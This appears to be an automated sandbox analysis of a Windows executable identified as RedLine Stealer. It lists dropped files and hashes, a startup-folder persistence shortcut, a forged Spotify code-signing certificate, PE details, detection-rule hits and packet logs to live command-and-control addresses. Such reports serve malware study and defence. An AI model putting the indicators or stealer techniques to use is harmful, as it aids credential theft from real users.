Preview:	PSMODULECACHE......P.e...S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........7r8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Download File

Process:	C:\Users\user\Desktop\e4.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3599640
Entropy (8bit):	7.964814981282895
Encrypted:	false
SSDEEP:	98304:qqEvLXLJJzK4x0wSI7EqwKHviiCXmR4ddAJb:yL7JJzK4a5Y/faiC2EAJb
MD5:	55A6D22BE09D762103AE315F97B58561
SHA1:	F218C5BB6B7E3CBE9483F8BC4552EDB180FD2BD1
SHA-256:	41D424435F37D0AA9DD6C2C2B05210F9E0A29A5969362776845064188F97273A
SHA-512:	4B8967E85EBCA846BDA3910DAC537B360FD36163EB778B6F3C522273D9AC0AE2821536C50A40EB3B56938396166AB83D75E7999DC32FE8807D734A479BDCE820
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 58%, Browse Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......v...2...2...2...&.9...&...T.B.3...`.#...`.8...`.\|.....#.....1...&.&...&.3...&.#...2.........0.....@.3.....3...Rich2...................PE..d.....`a.........."..........\|......X.b........@.....................................T7...`..................................................@..<....P........`..:.................................................................................................. .........H.................. ..` ........r....N..............@..@ ./......<....>..............@... .:......s!...D..............@..@ .............f..............@..@ ..... .......h..............@..@ .....0.......j..............@..B.imports.....@.......r..............@....rsrc........P.......v..............@..@.themida..Z..`.......x..............`....boot....v3...b..u3..x..............`..`........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dqwunjc1.feb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g2kg50tn.r12.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jgstvp5b.1ne.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kebqszj0.grq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\aut276E.tmp

Download File

Process:	C:\ProgramData\UpSys.exe
File Type:	data
Category:	dropped
Size (bytes):	25822
Entropy (8bit):	7.676686877584948
Encrypted:	false
SSDEEP:	768:X4ltkgfpZ92EBn80hR2u5k+G2qqTswsOWDK4dQS97hJw:X4bx9780/k+1TLs3FGOi
MD5:	436C1BB98DEECCECB73FAD945F1DD3DC
SHA1:	774313BA911945589971BBC73498D81F060DABE6
SHA-256:	05EAE1691149CC66E458D5E5B4430BD3B938B278B8BDB2C887A13C9871004C51
SHA-512:	66EA41B9B4A42F7C40D1CE5B6E82A6F03E8489648B912D96A81EFA13D340D4D651078DF7C1302C595CA83408E7208D1D79F02165DC27383952A9ABE7F851C3E2
Malicious:	false
Preview:	..%...F:.Q&.Y..o4.M&.Y..mC.Lf.)..k6..f.9..T.M.Y..kF....(.I5.M..I..i7.....1....Y..k7.."@...o2.L.......L&....i6.L.....m9..(..@....N......8..2.Y..o4.fs...g5.4......h.MfSp.`.[. ..1..&.....2.M.Sy...2.P.......M...X.M&`...Q5... ....7...T@..e3.L.39....L.s..mM@M..fiE.Lf.I...K....mF.Q.A...a5.M....E.4.r...n......@.6@K../.k8..s@./......"....E...f.i..k8..&.0..a2.L.....s2...T`..j.y...m7.L&.9.......Y.(..4...z......... ....L.......T.A.i..o4.f.... .H....`'....DH.......@.....H...2..&.`!Bo3...p.\..@#.,Fr.T..l...R.y....{......Z...@............G.(...hL.S ...6.:..B..........1..@.>@1..0.N.@L.#.....@.....7....>I..iB..(.....@..$..#.....F.M.\...i6.......I..x.9.....M@.0...9@....@....".(..`.....fi4.t..0...& ...j.4L.....L. .Y..g3Y...f .H...1.4....@....jf..P@..5..h.#@%.4.....h........&.....c5...}.z... ...d.(.M..>0.O.kB.Q.T...e2...tY......H.....V..0.c.T....@......... :..P.....;..P...Vd...x[.L.........CjkC...\|SP..!.bA...L..\|...#.2.0@#..'...<..b....D .........h.}..K......mB..r8.-...\| m.....i.&@w...@_

C:\Users\user\AppData\Local\Temp\iuiemjt

Download File

Process:	C:\ProgramData\UpSys.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	83514
Entropy (8bit):	3.495672104133364
Encrypted:	false
SSDEEP:	1536:QxUzapK6b5Hg7OoSZ9f7fOxrIGyiBquTsR3cgwO0wNP02:wo8GQ
MD5:	940B1915CADEE0E2B33D80799816F6C7
SHA1:	2C10E4FEC3E8C054055D1ED78757117575F273F2
SHA-256:	81E89E7266CFE5158E44F5578C8BE61353E781DAEBDD47A33597E9EC503D379C
SHA-512:	CC3C574FD5392C1B54146B591E22B1C01C95E34A602C403AD96C49B7EE6AD31D1478A00CC1334286ADDC5CB94496372A172745E9AD20554023E1E22C7DA1E1C5
Malicious:	false
Yara Hits:	Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: C:\Users\user\AppData\Local\Temp\iuiemjt, Author: Florian Roth
Preview:	4D7573744465636C61726556617273!7ET4755495F52554E4445464D5347!7ET47554944617461536570617261746F7243686172!7ET20404C4620!7ET57696E44657465637448696464656E54657874!7ET312E35!7ET506F77657252756E!7ET202D20417574686F7220627920426C75654C696665!7ET5B434C4153533A506F77657252756E3A76!7ET5D!7ET323031362D32303231!7ET2040557365724E616D6520!7ET2040436F6D70696C656420!7ET20404175746F497445786520!7ET20404F534172636820!7ET20404175746F497458363420!7ET20404F5356657273696F6E20!7ET20404F5356657273696F6E20!7ET5F2858507C32303028307C332929!7ET4F7065726174696E672053797374656D204E6F7420537570706F7274656421!7ET546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321!7ET204053637269707444697220!7ET204057696E646F777344697220!7ET53797374656D33325C!7ET2040576F726B696E6744697220!7ET6B65726E656C33322E646C6C!7ET7573657233322E646C6C!7ET61647661706933322E646C6C!7ET7368656C6C33322E646C6C!7ET6F6C6533322E646C6C!7ET73686C776170692E646C6C!7ET67646933322E646C6C!7ET484B4C4D!7ET48

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Archive, ctime=Thu Aug 4 19:37:18 2022, mtime=Thu Aug 4 19:37:18 2022, atime=Thu Aug 4 19:37:03 2022, length=3599640, window=hideshowminimized
Category:	dropped
Size (bytes):	849
Entropy (8bit):	4.609800956090944
Encrypted:	false
SSDEEP:	24:8FGTeIKUgykSEVUgjohIAsTWMe0XSLG6m:8FGSIxgDtUgjohvsTWn0XeG6
MD5:	D5597E83372B6E58AE9D2D6D1CD31FD9
SHA1:	BBFEFCF18F49A641BA0FB96A7B60FF51B9EFE18B
SHA-256:	EC0C8C45F16FA4C47E0D0BC8C61329F99671E80776316B0585FED6A0EB8BC23B
SHA-512:	7BFA9489FAC79087284C7531B202A999BE9561814DC9ACA4720BBBCA9723A48578AFDF889AD69D5B1864D1E93B7698873AF91DBEDC2E8142125FA9ED5101EE03
Malicious:	false
Preview:	L..................F.... ....Pr.A....Pr.A.......A.....6.....................Y....P.O. .:i.....+00.../C:\...................`.1......P....PROGRA~3..H......L..U......F.......................f.P.r.o.g.r.a.m.D.a.t.a.....j.1......U....MICROS~4..R.......U...U......W.....................i...M.i.c.r.o.s.o.f.t.N.e.t.w.o.r.k.....`.2...6..U.. .System.exe..F.......U...U............................P.+.S.y.s.t.e.m...e.x.e.......Y...............-.......X............p.......C:\ProgramData\MicrosoftNetwork\System.exe....l.i.n.k. .d.e.s.c.r.i.p.t.i.o.n.B.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.N.e.t.w.o.r.k.\.S.y.s.t.e.m...e.x.e.`.......X.......301389...........!a..%.H.VZAj......s.........W...!a..%.H.VZAj......s.........W..E.......9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ............

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.933958194035433
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	e4.exe
File size:	4760524
MD5:	5c371f2d51427f39d793c6df8487346c
SHA1:	8bbc4272d6e36abf84a0d4fac47d49b690bfacdf
SHA256:	e42c63f0af341c2271346774a69bdbceed9cc21f041680bc00e8e0d137340b48
SHA512:	2f0d208bb52a44a085a9aa32169ba75ae3b5de2a552b2196532e59527eb7a0deb16fd87cc7363d7ec82627fdaba4ecf227bf2dd6da6331202a976a07c723ca34
SSDEEP:	98304:DpV83BzFxA32ih5JH0i8Hhfn14zG8xqyKoODICbA15ca5C:POxFe32kpR68Xqja5C
TLSH:	BC26337827ECE824DAFFDF7598E9608950B0D6069151CB4F9982D1BE0F11FC1BD22A63
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0......X........... ........@.. ....................... ......{.H...@................................

File Icon


Icon Hash:	30f0cccad2dcf010

Static PE Info

General

Entrypoint:	0xece000
Entrypoint Section:	.taggant
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0xBDD186FA [Mon Dec 1 02:10:02 2070 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	4328f7206db519cd4e82283211d98e83

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	10/17/2021 5:00:00 PM 10/18/2022 4:59:59 PM
Subject Chain	CN=Spotify AB, O=Spotify AB, L=Stockholm, C=SE, SERIALNUMBER=5567037485, OID.1.3.6.1.4.1.311.60.2.1.3=SE, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	CD79BC322A0ADCB8D024ECB21CC843AB
Thumbprint SHA-1:	D613C47B1E74328FAB32517FD469733C76C08AC8
Thumbprint SHA-256:	90A8AF0360D9335C01CFA4D83E7B3BC70D8B16E23974CCD7918D07DE6537EB75
Serial:	0F6C9450E4E7F91B4C42CCCA2297B12F

Entrypoint Preview

Instruction
jmp 00007F0A00DA8CDAh
pcmpgtb mm1, qword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F0A00DAACD5h
push esp
inc ecx
inc edi
inc edi
add byte ptr [eax], ah
add byte ptr [eax], al
and al, 1Bh
add byte ptr [eax], al
add dword ptr [eax], eax
xor byte ptr [edx+0906201Bh], al
sub al, byte ptr [esi+0DF78648h]
add dword ptr [edi], eax
add ah, byte ptr [eax+30111B82h]
sbb byte ptr [ebx], 0000000Dh
add al, byte ptr [ecx]
add dword ptr [ecx], esi
or eax, 09060B30h
pushad
xchg byte ptr [eax+01h], cl
add eax, dword ptr [edx+eax]
add dword ptr [eax], esi
or byte ptr [edi], 00000022h
push es
or dword ptr [edx], ebp
xchg byte ptr [eax-7Ah], cl
test dword ptr [A0010701h], 04130F82h
or byte ptr [edi], 0000000Fh
rol byte ptr [eax], 1
add dword ptr [eax], eax
add ecx, eax
mov cl, A1h
add eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [ecx+0FCB13F1h], bh
out dx, al
xchg eax, esp
js 00007F0A00DA8C87h
adc byte ptr [ebx], dh
mov es, word ptr [ebx-7A95FF40h]
cwde
mov eax, dword ptr [eax-2Ah]
outsb
pop edx
dec esi
dec eax
test dword ptr [esi+06h], eax
and esp, dword ptr [ebx]
cmpsb
add byte ptr [ecx], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esp+eax*4], dl
dec eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ch
add byte ptr [edx], al
add byte ptr [ecx], al
add byte ptr [eax+eax], ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2403a	0x50	.imports
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x26000	0x5ad4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x488414	0x1fb8	.themida
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1a000	0x19c00	False	0.4320957220873786	data	5.850456991429568	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
	0x1c000	0x53ac	0x5400	False	0.9696800595238095	data	7.958878876205005	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x22000	0xc	0xf	False	1.5333333333333334	data	3.6402239289418516	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.imports	0x24000	0x2000	0x400	False	0.087890625	data	0.6430579281907481	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x26000	0x5c00	0x5c00	False	0.8986497961956522	data	7.805531531236385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.themida	0x2c000	0x640000	0x0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.boot	0x66c000	0x460c00	0x460c00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.taggant	0xace000	0x2400	0x2014	False	0.5981490501704823	DOS executable (COM)	6.831438759664922	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x26120	0x4e28	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_GROUP_ICON	0x2af58	0x14	data
RT_VERSION	0x2af7c	0x254	data
RT_MANIFEST	0x2b1e0	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators	English	United States
RT_MANIFEST	0x2b3dc	0x6f8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
kernel32.dll	GetModuleHandleA
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.5148.251.234.8349860802827715 08/04/22-13:37:41.881801	TCP	2827715	ETPRO TROJAN W32.Zenar HTTP Request Header	49860	80	192.168.2.5	148.251.234.83
192.168.2.546.21.250.11149768653672850286 08/04/22-13:37:06.561926	TCP	2850286	ETPRO TROJAN Redline Stealer TCP CnC Activity	49768	65367	192.168.2.5	46.21.250.111
192.168.2.546.21.250.11149768653672850027 08/04/22-13:36:35.390311	TCP	2850027	ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init	49768	65367	192.168.2.5	46.21.250.111
46.21.250.111192.168.2.565367497682850353 08/04/22-13:36:37.244080	TCP	2850353	ETPRO MALWARE Redline Stealer TCP CnC - Id1Response	65367	49768	46.21.250.111	192.168.2.5
192.168.2.5148.251.234.8349850802827715 08/04/22-13:37:17.370183	TCP	2827715	ETPRO TROJAN W32.Zenar HTTP Request Header	49850	80	192.168.2.5	148.251.234.83

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 4, 2022 13:36:35.009424925 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:35.037890911 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:35.037995100 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:35.390311003 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:35.419858932 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:35.460498095 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:37.214991093 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:37.244080067 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:37.290632963 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:44.723783016 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:44.759020090 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:44.759063959 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:44.759085894 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:44.759198904 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:53.482532978 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:53.512068987 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:53.569037914 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:53.598345041 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:53.613404989 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:53.642287016 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:53.680823088 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:53.709760904 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:53.750134945 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:53.779206038 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:53.782512903 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:53.811583042 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:53.815296888 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:53.844053030 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:53.889744997 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:53.918543100 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:54.027261972 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:54.057715893 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:54.086606979 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:54.192213058 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:54.587816000 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:54.617793083 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:54.692225933 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:54.728513002 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:54.757052898 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:54.757543087 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:54.895344019 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:57.557655096 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:57.587954998 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:57.593637943 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:36:57.622334003 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:36:57.692478895 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.833175898 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.861567020 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.861634016 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.861664057 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.861665964 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.861691952 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.861718893 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.861745119 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.861753941 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.861766100 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.861778021 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.861784935 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.861814022 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.861831903 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.862029076 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.889975071 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.890067101 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.890080929 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.890131950 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.890259981 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.890330076 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.890386105 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.890425920 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.890441895 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.890477896 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.890503883 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.890511036 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.890535116 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.890573025 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.890657902 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.890743017 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.890810013 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.890825033 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.890887022 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.890980005 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.891020060 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.891041040 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.891073942 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.891076088 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.891114950 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.891149998 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.892029047 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:00.918323994 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.918365002 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.918390036 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.918536901 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.918561935 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:00.918586016 CEST	65367	49768	46.21.250.111	192.168.2.5
